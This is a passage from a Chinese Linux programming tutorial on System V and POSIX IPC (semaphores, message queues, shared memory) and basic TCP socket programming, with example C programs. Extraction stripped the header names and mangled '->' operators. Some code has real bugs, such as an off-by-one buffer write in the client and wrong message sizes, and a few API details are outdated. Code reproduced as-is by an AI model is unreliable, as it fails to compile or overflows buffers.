    • 为此我们可以使用一个信号灯,
      • 当信号灯的值为某个值的时候,就表明此时资源不可以使用;
      • 否则就表示可以使用。

    (3)系统函数

    为了使用效率,系统提供了下面几个函数 POSIX 无名信号量的函数:

    #include ; 
    int sem_init(sem_t *sem, int pshared, unsigned int value); 
    int sem_destroy(sem_t *sem); 
    int sem_wait(sem_t *sem); 
    int sem_trywait(sem_t *sem); 
    int sem_post(sem_t *sem); 
    int sem_getvalue(sem_t *sem); 
    

    ① sem_init 创建一个信号灯,并初始化其值为 value;pshared 决定了信号量能否在几个进程间共享,由于目前 Linux 还没有实现进程间共享信号灯,所以这个值只能够取 0。
    ② sem_destroy 是用来删除信号灯的。
    ③ sem_wait 调用将阻塞进程,直到信号灯的值大于 0,这个函数返回的时候自动的将信号灯的值减一。
    ④ sem_post 和 sem_wait 相反,是将信号灯的内容加一同时发出信号唤醒等待的进程。
    ⑤ sem_trywait 和 sem_wait 相同,不过不阻塞的,当信号灯的值为 0 的时候返回 EAGAIN,表示以后重试。
    ⑥ sem_getvalue 得到信号灯的值。

    Tips:编译包含上面几个函数的程序,要加上 -lrt 选项,用来连接 librt.so 库。

  3. 举例说明

    (1)打印机进程

    比如我们有一个程序要向一个系统打印机打印两页:

    • 首先,创建一个信号灯,并使其初始值为 1,表示有一个资源可用;
    • 然后,一个进程调用 sem_wait,由于这个时候信号灯的值为 1,所以这个函数返回,打印机开始打印了,同时信号灯的值为 0 ;
      如果第二个进程要打印,调用 sem_wait 时候,由于信号灯的值为 0,资源不可用,于是被阻塞了;
    • 当第一个进程打印完成以后,调用 sem_post 使得信号灯的值为 1,这个时候系统会通知第二个进程,于是第二个进程的 sem_wait 返回,第二个进程开始打印了。

    (tips:这个问题还可以使用线程来解决。后续知识会介绍……)

4.2 System V 信号量

Linux 实现了 System V 信号量。所以,为了解决『打印机 - 资源争用』的问题,我们也可以使用 System V 信号量。

  1. System V 信号量

    (1)系统函数

    #include ; 
    #include ; 
    #include ; 
    key_t ftok(char *pathname,char proj); 
    int semget(key_t key,int nsems,int semflg); 
    int semctl(int semid,int semnum,int cmd,union semun arg); 
    int semop(int semid,struct sembuf *spos,int nspos); 
    struct sembuf { 
    	short sem_num; /* 使用那一个信号 */ 
    	short sem_op; /* 进行什么操作 */ 
    	short sem_flg; /* 操作的标志 */ 
    }; 
    

    ① ftok 函数,是根据 pathname 和 proj 来创建一个关键字。
    ② semget,创建一个信号量,成功时返回信号的 ID,key 是一个关键字(可以是用 ftok 创建的,也可以是 IPC_PRIVATE 表明由系统选用一个关键字); nsems 表明我们创建的信号个数;semflg 是创建的权限标志,和我们创建一个文件的标志相同。
    ③ semctl,对信号量进行一系列的控制,semid 是要操作的信号标志;semnum 是信号的个数;cmd 是操作的命令,经常用的两个值是:SETVAL(设置信号量的值)和 IPC_RMID(删除信号灯);arg 是一个给 cmd 的参数。
    ④ semop 是对信号进行操作的函数,semid 是信号标志;spos 是一个操作数组,表明要进行什么操作;nspos 表明数组的个数。

    • 如果 sem_op 大于 0,那么操作将 sem_op 加入到信号量的值中,并唤醒等待信号增加的进程。

    • 如果 sem_op 为 0,当信号量的值是 0 的时候,函数返回;否则阻塞直到信号量的值为 0。

    • 如果 sem_op 小于 0,函数判断信号量的值加上这个负值,判断结果:

      如果结果为 0,唤醒等待信号量为 0 的进程;
      如果结果小于 0,函数阻塞;
      如果结果大于 0,那么从信号量里面减去这个值并返回。

  2. 实例说明

    我们以一个实例来说明上述几个函数的使用方法。这个程序用标准错误输出来代替我们用的打印机:

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define PERMS S_IRUSR|S_IWUSR 
    void init_semaphore_struct(struct sembuf *sem,int semnum, 
    int semop,int semflg) 
    { 
        /* 初始话信号灯结构 */ 
        sem->;sem_num=semnum; 
        sem->;sem_op=semop; 
        sem->;sem_flg=semflg; 
    } 
    int del_semaphore(int semid) 
    { 
        /* 信号灯并不随程序的结束而被删除,如果我们没删除的话(将 1 改为 0) 
        可以用 ipcs 命令查看到信号灯,用 ipcrm 可以删除信号灯的
        */ 
        #if 1 
        return semctl(semid,0,IPC_RMID); 
        #endif 
    } 
    int main(int argc,char **argv) 
    { 
        char buffer[MAX_CANON],*c; 
        int i,n; 
        int semid,semop_ret,status; 
        pid_t childpid; 
        struct sembuf semwait,semsignal; 
        if((argc!=2)||((n=atoi(argv[1]))<1)) 
        { 
            fprintf(stderr,"Usage:%s number\n\a",argv[0]); 
            exit(1); 
        } 
        /* 使用 IPC_PRIVATE 表示由系统选择一个关键字来创建 */ 
        /* 创建以后信号灯的初始值为 0 */ 
        if((semid=semget(IPC_PRIVATE,1,PERMS))==-1) 
        { 
            fprintf(stderr,"[%d]:Acess Semaphore Error:%s\n\a", 
            getpid(),strerror(errno)); 
            exit(1); 
        } 
        /* semwait 是要求资源的操作(-1) */ 
        init_semaphore_struct(&semwait,0,-1,0); 
        /* semsignal 是释放资源的操作(+1) */ 
        init_semaphore_struct(&semsignal,0,1,0); 
        /* 开始的时候有一个系统资源(一个标准错误输出) */ 
        if(semop(semid,&semsignal,1)==-1) 
        { 
        	fprintf(stderr,"[%d]:Increment Semaphore Error:%s\n\a", getpid(),strerror(errno)); 
        	if(del_semaphore(semid)==-1) 
        		fprintf(stderr,"[%d]:Destroy Semaphore Error:%s\n\a",getpid(),strerror(errno)); 
        	exit(1); 
        } 
        /* 创建一个进程链 */ 
        for(i=0;i<n;i++) 
        	if(childpid=fork()) break; 
        	sprintf(buffer,"[i=%d]-->;[Process=%d]-->;[Parent=%d]-->;[Child=%d]\n", 
        	i,getpid(),getppid(),childpid); 
        	c=buffer; 
        /* 这里要求资源,进入原子操作 */ 
        while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR)); 
        if(semop_ret==-1) 
        { 
        	fprintf(stderr,"[%d]:Decrement Semaphore Error:%s\n\a", 
        	getpid(),strerror(errno)); 
        } 
        else 
        { 
       		while(*c!='\0')fputc(*c++,stderr); 
            /* 原子操作完成,赶快释放资源 */ 
            while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR)); 
            if(semop_ret==-1) 
            	fprintf(stderr,"[%d]:Increment Semaphore Error:%s\n\a", 
            	getpid(),strerror(errno)); 
        } 
        /* 不能够在其他进程反问信号灯的时候,我们删除了信号灯 */ 
        while((wait(&status)==-1)&&(errno==EINTR)); 
        /* 信号灯只能够被删除一次的 */ 
        if(i==1) 
        if(del_semaphore(semid)==-1) 
        fprintf(stderr,"[%d]:Destroy Semaphore Error:%s\n\a", 
       	getpid(),strerror(errno)); 
        exit(0); 
    } 
    

    Tips:信号灯的主要用途是保护临界资源(在一个时刻只被一个进程所拥有)。

4.3 System V 消息队列

为了便于进程之间通信,我们可以使用管道通信。SystemV 也提供了一些函数来实现进程的通信,这就是消息队列。

  1. 消息队列

    (1)系统函数

    #include ;
    #include ; 
    #include ; 
    int msgget(key_t key, int msgflg); 
    int msgsnd(int msgid, struct msgbuf *msgp, int msgsz, int msgflg); 
    int msgrcv(int msgid, struct msgbuf *msgp, int msgsz, long msgtype, int msgflg); 
    int msgctl(Int msgid, int cmd, struct msqid_ds *buf); 
    struct msgbuf { 
    	long msgtype; /* 消息类型 */ 
    	....... /* 其他数据类型 */ 
    } 
    

    ① msgget 函数和 semget 一样,返回一个消息队列的标志。
    ② msgctl 和 semctl 是对消息进行控制。
    ③ msgsnd 和 msgrcv 函数是用来进行消息通讯的,

    • msgid 是接受或者发送的消息队列标志;

    • msgp 是接受或者发送的内容;

    • msgsz 是消息的大小;

    • 结构 msgbuf 包含的内容是至少有一个为 msgtype,其他的成分是用户定义的;

    • msgflg:

      • 对于发送函数,msgflg 指出缓冲区用完时候的操作。
      • 对于接受函数,msgflg 指出无消息时候的处理,一般为 0;
    • 接收函数 msgtype 指出接收消息时候的操作,

      如果 msgtype = 0,接收消息队列的第一个消息;
      大于 0,接收队列中消息类型等于这个值的第一个消息;
      小于 0,接收消息队列中小于或者等于 msgtype 绝对值的所有消息中的最小一个消息。

  2. 应用实例

    我们以一个实例来解释进程通信:下面这个程序有 server 和 client 组成,先运行服务端后运行客户端。

    (1)服务端

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define MSG_FILE "server.c" 
    #define BUFFER 255 
    #define PERM S_IRUSR|S_IWUSR 
    struct msgtype { 
    	long mtype; 
    	char buffer[BUFFER+1]; 
    }; 
    int main() 
    { 
     struct msgtype msg; 
     key_t key; 
     int msgid; 
     if((key=ftok(MSG_FILE,'a'))==-1) 
     { 
     fprintf(stderr,"Creat Key Error:%s\a\n",strerror(errno)); 
     exit(1); 
     } 
     if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1) 
     { 
     fprintf(stderr,"Creat Message Error:%s\a\n",strerror(errno)); 
     exit(1); 
     } 
     while(1) 
     { 
     msgrcv(msgid,&msg,sizeof(struct msgtype),1,0); 
     fprintf(stderr,"Server Receive:%s\n",msg.buffer); 
     msg.mtype=2; 
     msgsnd(msgid,&msg,sizeof(struct msgtype),0); 
     } 
    	exit(0); 
    } 
    

    (2)客户端

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define MSG_FILE "server.c" 
    #define BUFFER 255 
    #define PERM S_IRUSR|S_IWUSR 
    struct msgtype { 
    	long mtype; 
    	char buffer[BUFFER+1]; 
    }; 
    int main(int argc,char **argv) 
    { 
     struct msgtype msg; 
     key_t key; 
     int msgid; 
     if(argc!=2) 
     { 
     fprintf(stderr,"Usage:%s string\n\a",argv[0]); 
     exit(1); 
     } 
     if((key=ftok(MSG_FILE,'a'))==-1) 
     { 
     fprintf(stderr,"Creat Key Error:%s\a\n",strerror(errno)); 
     exit(1); 
     } 
     if((msgid=msgget(key,PERM))==-1) 
     { 
     fprintf(stderr,"Creat Message Error:%s\a\n",strerror(errno)); 
     exit(1); 
     } 
     msg.mtype=1; 
     strncpy(msg.buffer,argv[1],BUFFER); 
     msgsnd(msgid,&msg,sizeof(struct msgtype),0); 
     memset(&msg,'\0',sizeof(struct msgtype)); 
     msgrcv(msgid,&msg,sizeof(struct msgtype),2,0); 
     fprintf(stderr,"Client receive:%s\n",msg.buffer); 
     exit(0); 
    }
    

    Tips:注意服务端创建的消息队列最后没有删除,我们要使用 ipcrm 命令来删除。

    • ipcrm 命令
      移除一个消息对象、共享内存段,或者一个信号集,同时会将与ipc对象相关链的数据也一起移除。(只有超级管理员,或者ipc对象的创建者才有这项权利)

    • ipcrm 用法:

      ① ipcrm -M shmkey 移除用shmkey创建的共享内存段
      ② ipcrm -m shmid 移除用shmid标识的共享内存段
      ③ ipcrm -Q msgkey 移除用msqkey创建的消息队列
      ④ ipcrm -q msqid 移除用msqid标识的消息队列
      ⑤ ipcrm -S semkey 移除用semkey创建的信号
      ⑥ ipcrm -s semid 移除用semid标识的信号

4.4 System V 共享内存

使用共享内存也可以实现进程间通信。

  1. 系统函数

    System V 提供了以下几个函数以实现共享内存:

    #include ; 
    #include ; 
    #include ; 
    int shmget(key_t key, int size, int shmflg); 
    void *shmat(int shmid, const void *shmaddr, int shmflg); 
    int shmdt(const void *shmaddr); 
    int shmctl(int shmid,int cmd, struct shmid_ds *buf);
    

    ① shmget 和 shmctl 没有什么好解释的,size 是共享内存的大小。
    ② shmat 是用来连接共享内存的。

    • shmaddr,shmflg 我们只要用 0 代替就可以了。

    ③ shmdt 是用来断开共享内存的。不要被共享内存词语吓倒,共享内存其实很容易实现和使用的。
    在使用一个共享内存之前我们调用 shmat 得到共享内存的开始地址,使用结束以后我们使用 shmdt 断开这个内存。

  2. 编码实例

    #include ; 
    #include ; 
    #include ;
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define PERM S_IRUSR|S_IWUSR 
    int main(int argc,char **argv) 
    { 
        int shmid; 
        char *p_addr,*c_addr; 
        if(argc!=2) 
        { 
        fprintf(stderr,"Usage:%s\n\a",argv[0]); 
        exit(1); 
        } 
        if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1) 
        { 
        fprintf(stderr,"Create Share Memory Error:%s\n\a",strerror(errno)); 
        exit(1); 
        } 
        if(fork()) 
        { 
        p_addr=shmat(shmid,0,0); 
        memset(p_addr,'\0',1024); 
        strncpy(p_addr,argv[1],1024); 
        exit(0); 
        } 
        else 
        { 
        c_addr=shmat(shmid,0,0); 
        printf("Client get %s",c_addr); 
        exit(0); 
        } 
    } 
    

    Tips:

    这个程序是父进程将参数写入到共享内存,然后子进程把内容读出来;

    最后我们要使用 ipcrm 释放资源的,

    • 先用 ipcs 找出 ID,然后用 ipcrm shm ID 删除。

    • ipcs 命令

      用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。

      ① SystemV控制选项

      选项 描述
      -a 显示全部可显示的信息
      -q 显示活动的消息队列信息
      -m 显示活动的共享内存信息
      -s 显示活动的信号量信息

      ② 输出选项

      选项 描述
      -t time,输出信息的详细变化时间
      -p pid,输出ipc方式的进程ID
      -c creator,输出ipc方式的创建者/拥有者
      -l limits,输出ipc各种方式的在该系统下的限制条件信息
      -u summary,输出当前系统下ipc各种方式的状态信息(共享内存,消息队列,信号)

4.5 System V 消息队列

System V 信号量
System V 共享内存区

进程通信(IPC)是网络程序的基础,在很多的网络程序当中会大量的使用进程通信的概念和知识。

  • System V IPC共有三种类型:

    System V 消息队列、System V 信号量、System V 共享内存区。

进程通信是一件非常复杂的事情,上述内容只是简单的介绍了一下。

  • 如果要想学习进程通信的详细知识,最好的办法是自己不断的写程序和看联机手册;
  • 或者,在实践中遇到具体的问题后,再去上网搜索对应的资料。

Ⅴ Linux下网络编程

重点学习网络编程模式。

5.1 Linux 网络知识介绍

  1. 客户端程序和服务端程序

    网络程序是由两个部分组成的 —— 客户端和服务器端。(CS模型)

    • 网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接;
    • 一般来说,先是服务端程序在一个端口上启用监听,直到有一个客户端的程序发来了请求。
  2. 常用的命令

    为了调试网络程序需要,有必要知道一些常用的网络命令。

    (1)netstat

    命令 netstat 是用来显示网络的连接、路由表和接口统计等网络的信息。

    • netstat 有许多的选项:
      常用的选项是 -an:用来显示详细的网络状态;
      其它的选项:可以使用帮助手册获得详细的情况。

    (2)telnet

    telnet 虽然是一个用来远程控制的程序,但我们也可以用来调试服务端程序。

    • 比如我们的服务器程序在监听 8888 端口,我们可以用 telnet localhost 8888 来查看服务端的状况。
  3. TCP/UDP 介绍

    (1)TCP(Transfer Control Protocol)

    传输控制协议,是一种面向连接的协议,当我们的网络程序使用这个协议的时候,可以保证我们的客户端和服务端的网络连接是可靠的、安全的。

    (2)UDP(User Datagram Protocol)

    用户数据报协议,是一种非面向连接的协议,这种协议并不能保证我们的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用 TCP 协议。

5.2 TCP 初等网络函数介绍

Linux 系统是通过提供套接字(socket)来进行网络编程的。

  • 网络程序通过 socket 和其它几个函数的调用,会返回一个通讯的文件的『描述符』,
  • 可以将这个描述符看成普通的文件的描述符来操作,这就是 『linux 的设备无关性』的好处;
  • 我们可以通过向描述符读写操作实现网络之间的数据交流。

socket、bind、listen、accept、connect

  1. socket

    int socket(int domain, int type, int protocol)
    

    1)参数说明:

    ① domain:说明我们网络程序所在的主机采用的通讯协议族(AF_UNIX 和 AF_INET 等)。

    • AF_UNIX 只能够用于单一的 Unix 系统进程间通信;
    • AF_INET 是针对 Internet 的,因而可以允许在远程主机之间通信。
    • p.s. (当我们 man socket 时发现 domain 可选项是 PF_* 而不是 AF_*,因为 glibc 是 posix 的实现 所以用 PF 代替了 AF,不过我们都可以使用的)。

    ② type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM )。

    • SOCK_STREAM 表明我们用的是 TCP 协议,这样会提供按顺序的、可靠的、双向的、面向连接的比特流;
    • SOCK_DGRAM 表明我们用的是 UDP 协议,这样只会提供定长的、不可靠的、无连接的通信。

    ③ protocol:由于我们指定了 type,所以这个地方我们一般只要用 0 来代替就可以了。

    2)返回值说明:

    ① socket 为网络通讯做基本的准备,成功时返回文件描述符

    ② 失败时返回-1,看 errno 可知道出错的详细情况。

  2. bind

    int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
    

    1)参数说明:

    ① sockfd:是由 socket 调用返回的文件描述符;
    ② addrlen:是 sockaddr 结构的长度;
    ③ my_addr:是一个指向 sockaddr 的指针;

    // 在  中有 sockaddr 的定义
    struct sockaddr{ 
    	unisgned short as_family; 
    	char sa_data[14]; 
    }; 
    

    不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构 (struct sockaddr_in) 来代替

    // 在  中有 sockaddr_in 的定义
    struct sockaddr_in{ 
    	unsigned short sin_family; 
    	unsigned short int sin_port; 
    	struct in_addr sin_addr; 
    	unsigned char sin_zero[8]; 
    }; 
    
    • 我们主要使用 Internet 所以 sin_family 一般为 AF_INET,
    • sin_addr 设置为 INADDR_ANY 表示可以和任何的主机通信,
    • sin_port 是我们要监听的端口号,
    • sin_zero[8] 是用来填充的。

    2)返回值说明:

    bind 将本地的端口同 socket 返回的文件描述符捆绑在一起。

    • 成功时返回 0;
    • 失败的情况和socket 一样的,返回-1,看 errno 可知道出错的详细情况。
  3. listen

    int listen(int sockfd, int backlog) 
    

    1)参数说明:

    ① sockfd:是 bind 后的文件描述符。
    ② backlog:设置请求排队的最大长度。

    • 当有多个客户端程序和服务端相连时,使用这个函数,表示可以接受的排队长度。

    2)返回值说明:

    listen 函数 —— 将 bind 的文件描述符变为监听套接字

    • 返回的情况和 bind 一样:0 / -1 。
  4. accept

    int accept(int sockfd, struct sockaddr *addr, int *addrlen)
    

    1)参数说明:

    ① sockfd:是 listen 后的文件描述符。
    ② addr,addrlen: 是用来给客户端的程序填写的,服务器端只要传递指针就可以了。

    2)返回值说明:

    bind,listen 和 accept 都是服务器端用的函数;当accept 被调用时,服务器端的程序会一直阻塞,直到有一个客户程序发出了连接。

    • accept 成功时,返回最后的服务器端的文件描述符 —— 这个时候服务器端可以向该描述符写信息了;
    • 失败时返回 -1。
  5. connect

    int connect(int sockfd, struct sockaddr * serv_addr, int addrlen)
    

    1)参数说明:

    ① sockfd:socket 返回的文件描述符。
    ② serv_addr:储存了服务器端的连接信息(其中 sin_add 是服务端的地址)。
    ③ addrlen:serv_addr 的长度。

    2)返回值说明:

    connect 函数是客户端用来同服务端连接的。

    • 成功时返回 0 —— sockfd 是同服务端通讯的文件描述符;
    • 失败时返回 -1。
  6. 实例

    (1)服务器端 - 程序

    /******* 服务器程序 (server.c) ************/ 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    int main(int argc, char *argv[]) 
    { 
    int sockfd,new_fd; 
    struct sockaddr_in server_addr; 
    struct sockaddr_in client_addr; 
    int sin_size,portnumber; 
    char hello[]="Hello! Are You Fine?\n"; 
    if(argc!=2) 
    { 
    fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); 
    exit(1); 
    } 
    if((portnumber=atoi(argv[1]))<0) 
    { 
    fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); 
    exit(1); 
    } 
    /* 服务器端开始建立 socket 描述符 */ 
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) 
    { 
    fprintf(stderr,"Socket error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    /* 服务器端填充 sockaddr 结构 */ 
    bzero(&server_addr,sizeof(struct sockaddr_in)); 
    server_addr.sin_family=AF_INET; 
    server_addr.sin_addr.s_addr=htonl(INADDR_ANY); 
    server_addr.sin_port=htons(portnumber);
    /* 捆绑 sockfd 描述符 */ 
    if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1) 
    { 
    fprintf(stderr,"Bind error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    /* 监听 sockfd 描述符 */ 
    if(listen(sockfd,5)==-1) 
    { 
    fprintf(stderr,"Listen error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    while(1) 
    { 
    /* 服务器阻塞,直到客户程序建立连接 */ 
    sin_size=sizeof(struct sockaddr_in); 
    if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1) 
    { 
    fprintf(stderr,"Accept error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    fprintf(stderr,"Server get connection from %s\n", 
    inet_ntoa(client_addr.sin_addr)); 
    if(write(new_fd,hello,strlen(hello))==-1) 
    { 
    fprintf(stderr,"Write Error:%s\n",strerror(errno)); 
    exit(1); 
    } 
    /* 这个通讯已经结束 */ 
    close(new_fd); 
    /* 循环下一个 */ 
    } 
    close(sockfd); 
    exit(0); 
    } 
    

    (2)客户端 - 程序

    /******* 客户端程序 client.c ************/ 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    int main(int argc, char *argv[]) 
    { 
    int sockfd; 
    char buffer[1024]; 
    struct sockaddr_in server_addr; 
    struct hostent *host; 
    int portnumber,nbytes; 
    if(argc!=3) 
    { 
    fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); 
    exit(1); 
    } 
    if((host=gethostbyname(argv[1]))==NULL) 
    { 
    fprintf(stderr,"Gethostname error\n"); 
    exit(1); 
    } 
    if((portnumber=atoi(argv[2]))<0) 
    { 
    fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); 
    exit(1); 
    } 
    /* 客户程序开始建立 sockfd 描述符 */ 
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) 
    { 
    fprintf(stderr,"Socket Error:%s\a\n",strerror(errno)); 
    exit(1); 
    } 
    /* 客户程序填充服务端的资料 */ 
    bzero(&server_addr,sizeof(server_addr)); 
    server_addr.sin_family=AF_INET; 
    server_addr.sin_port=htons(portnumber); 
    server_addr.sin_addr=*((struct in_addr *)host->;h_addr); 
    /* 客户程序发起连接请求 */ 
    if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr) 
    )==-1) 
    { 
    fprintf(stderr,"Connect Error:%s\a\n",strerror(errno)); 
    exit(1); 
    } 
    /* 连接成功了 */
    if((nbytes=read(sockfd,buffer,1024))==-1) 
    { 
    fprintf(stderr,"Read Error:%s\n",strerror(errno)); 
    exit(1); 
    } 
    buffer[nbytes]='\0'; 
    printf("I have received:%s\n",buffer); 
    /* 结束通讯 */ 
    close(sockfd); 
    exit(0); 
    } 
    

    (3)MakeFile

    ######### Makefile ########### 
    all:server client 
    server:server.c 
    	gcc $^ -o $@ 
    client:client.c 
    	gcc $^ -o $@ 
    

    运行 make 后会产生两个程序 server(服务器端) 和 client(客户端)。

    • 先运行 ./server port number& (portnumber 随便取一个大于 1204 且不在/etc/services 中出现的号码,就用 8888 好了),
    • 再运行 ./client localhost 8888 看看有什么结果(你也可以用 telnet 和 netstat 试一试)。
  7. 总结

    总的来说,网络程序是由两个部分组成的:客户端 和 服务器端;

    它们的建立步骤一般是:

    • 服务器端:socket–>;bind–>;listen–>;accept
    • 客户端:socket–>;connect

5.3 信息函数

本章介绍,服务器和客户机的信息函数。

  1. 字节转换函数

    在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的,

    • 比如 i386 芯片是低字节在内存地址的低端,高字节在高端;
    • 而 alpha 芯片却相反。

    为了统一起来,在 Linux 下面,有专门的字节转换函数。

    unsigned long int htonl(unsigned long int hostlong);
    unsigned short int htons(unsigned short int hostshort) ;
    unsigned long int ntohl(unsigned long int netlong);
    unsigned short int ntohs(unsigned short int netshort);
    

    函数解释:

    • 在这四个转换函数中,n、h、s、l各有含义:

      h 代表 host
      n 代表 network
      s 代表 short
      l 代表 long

    • 第一个函数(htonl)的意义是h to n l,意即,将本机器上的 long 数据转化为网络上的 long;

      其他几个函数,顾名思义,也是差不多对应的转换关系。

  2. IP 和域名的转换

    在网络上标志一台机器可以用 IP 或者是用域名,那么我们怎么去进行转换呢?

    struct hostent *gethostbyname(const char *hostname);
    struct hostent *gethostbyaddr(const char *addr,int len,int type);
    

    中有 struct hostent 的定义:

    struct hostent{ 
    char *h_name; /* 主机的正式名称 */ 
    char *h_aliases; /* 主机的别名 */ 
    int h_addrtype; /* 主机的地址类型 AF_INET*/ 
    int h_length; /* 主机的地址长度 对于 IP4 是 4 字节 32 位*/ 
    char **h_addr_list; /* 主机的 IP 地址列表 */ 
    } 
    #define h_addr h_addr_list[0] /* 主机的第一个 IP 地址*/
    

    函数作用:

    ① gethostbyname 可以将机器名(如 linux.yessun.com)转换为一个结构指针;并且,在这个结构里面储存了域名的信息。
    ② gethostbyaddr 可以将一个 32 位的 IP 地址(C0A80001)转换为结构指针。

    • 这两个函数失败时返回 NULL ,且设置 h_errno 错误变量,调用 h_strerror()可以得到详细的出错信息。
  3. 字符串的 IP 和 32 位的 IP 转换

    在网络上面我们用的 IP 都是数字加点构成的(如,192.168.0.1);而在 struct in_addr 结构中用的是 32 位的 IP,如上面那个 32 位 IP(C0A80001)即为 192.168.0.1
    (1)为了转换我们可以使用下面两个函数:

    int inet_aton(const char *cp, struct in_addr *inp);
    char *inet_ntoa(struct in_addr in);
    

    (2)格式解析:

    函数里面:a 代表 ascii;n 代表 network。
    ① 第一个函数表示:将 a.b.c.d 的 IP 转换为 32 位的 IP,存储在 inp 指针里面;
    ② 第二个函数表示:将 32 位 IP 转换为 a.b.c.d 的格式。

  4. 服务信息函数

    在网络程序里面我们有时候需要知道端口、IP 和服务信息。这个时候我们可以使用以下几个函数:

    int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen) 
    int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen) 
    struct servent *getservbyname(const char *servname,const char *protoname) 
    struct servent *getservbyport(int port,const char *protoname) 
    struct servent 
    { 
    char *s_name; /* 正式服务名 */ 
    char **s_aliases; /* 别名列表 */ 
    int s_port; /* 端口号 */
    char *s_proto; /* 使用的协议 */ 
    } 
    

    一般我们很少用这几个函数?
    ① 对应客户端,当我们要得到连接的端口号时,在 connect 调用成功后,使用可得到系统分配的端口号。
    ② 对于服务端,我们用 INADDR_ANY 填充后,为了得到连接的 IP 我们可以在 accept 调用成功后,使用…而得到 IP 地址。
    ③ 在网络上有许多的默认端口和服务,比如端口 21 对 ftp80 对应 WWW.
    ④ 为了得到指定的端口号的服务我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数。

  5. 举个例子

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    int main(int argc ,char **argv) 
    { 
    struct sockaddr_in addr; 
    struct hostent *host; 
    char **alias; 
    if(argc<2) 
    { 
    fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]); 
    exit(1); 
    } 
    argv++; 
    for(;*argv!=NULL;argv++) 
    { 
    /* 这里我们假设是 IP*/ 
    if(inet_aton(*argv,&addr.sin_addr)!=0) 
    { 
    host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET); 
    printf("Address information of Ip %s\n",*argv); 
    } 
    else 
    { 
    /* 失败,难道是域名?*/ 
    host=gethostbyname(*argv); printf("Address information of host %s\n",*argv); 
    } 
    if(host==NULL) 
    { 
    /* 都不是 ,算了不找了*/ 
    fprintf(stderr,"No address information of %s\n",*argv); 
    continue; 
    } 
    printf("Official host name %s\n",host->;h_name); 
    printf("Name aliases:"); 
    for(alias=host->;h_aliases;*alias!=NULL;alias++) 
    printf("%s ,",*alias); 
    printf("\nIp address:"); 
    for(alias=host->;h_addr_list;*alias!=NULL;alias++) 
    printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias))); 
    } 
    }
    

    『案例解析』
    在这个例子里面,为了判断用户输入的是 IP 还是域名我们调用了两个函数:

    • 第一次我们假设输入的是 IP 所以调用 inet_aton,

      失败的时候,再调用 gethostbyname 而得到信息。

5.4 完整的读写函数

一旦我们建立了连接,下一步就是进行通信了。
在 Linux 环境下,把我们前面建立的通道看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西就好了(就象我们往文件读写一样)。

  1. 写函数 - write

    ssize_t write(int fd, const void *buf, size_t nbytes);
    

    write 函数将 buf 中的 nbytes 字节内容写入文件描述符 fd。

    • 成功时返回写的字节数;
    • 失败时返回-1,并设置 errno 变量。

    在网络程序中,当我们向套接字文件描述符写时有俩种可能:

    • 1)write 的返回值大于 0,表示写了部分或者是全部的数据。

    • 2)write 的返回值小于 0,此时出现了错误;我们要根据错误类型来处理:

      如果错误为 EINTR 表示:在写的时候出现了中断错误;
      如果错误为 EPIPE 表示:网络连接出现了问题(对方已经关闭了连接)。

    为了处理以上的情况,可以自定义-编写一个写函数来处理这几种情况:

    int my_write(int fd, void *buffer, int length) 
    { 
    int bytes_left; 
    int written_bytes; 
    char *ptr; 
    ptr=buffer; 
    bytes_left=length; 
    while(bytes_left>;0) 
    { 
    /* 开始写*/ 
    written_bytes=write(fd,ptr,bytes_left); 
    if(written_bytes<=0) /* 出错了*/ 
    { 
    if(errno==EINTR) /* 中断错误 我们继续写*/ 
    written_bytes=0; 
    else /* 其他错误 没有办法,只好撤退了*/ 
    return(-1); 
    } 
    bytes_left-=written_bytes; 
    ptr+=written_bytes; /* 从剩下的地方继续写 */ 
    } 
    return(0); 
    } 
    
  2. 读函数 - read

    ssize_t read(int fd, void *buf, size_t nbyte) 
    

    read 函数:是负责从文件描述符 fd 中读取内容。

    • 当读成功时,read 返回实际所读的字节数;

    • 如果返回的值是 0,表示已经读到文件的结束了;

    • 如果返回值小于 0,表示出现了错误,

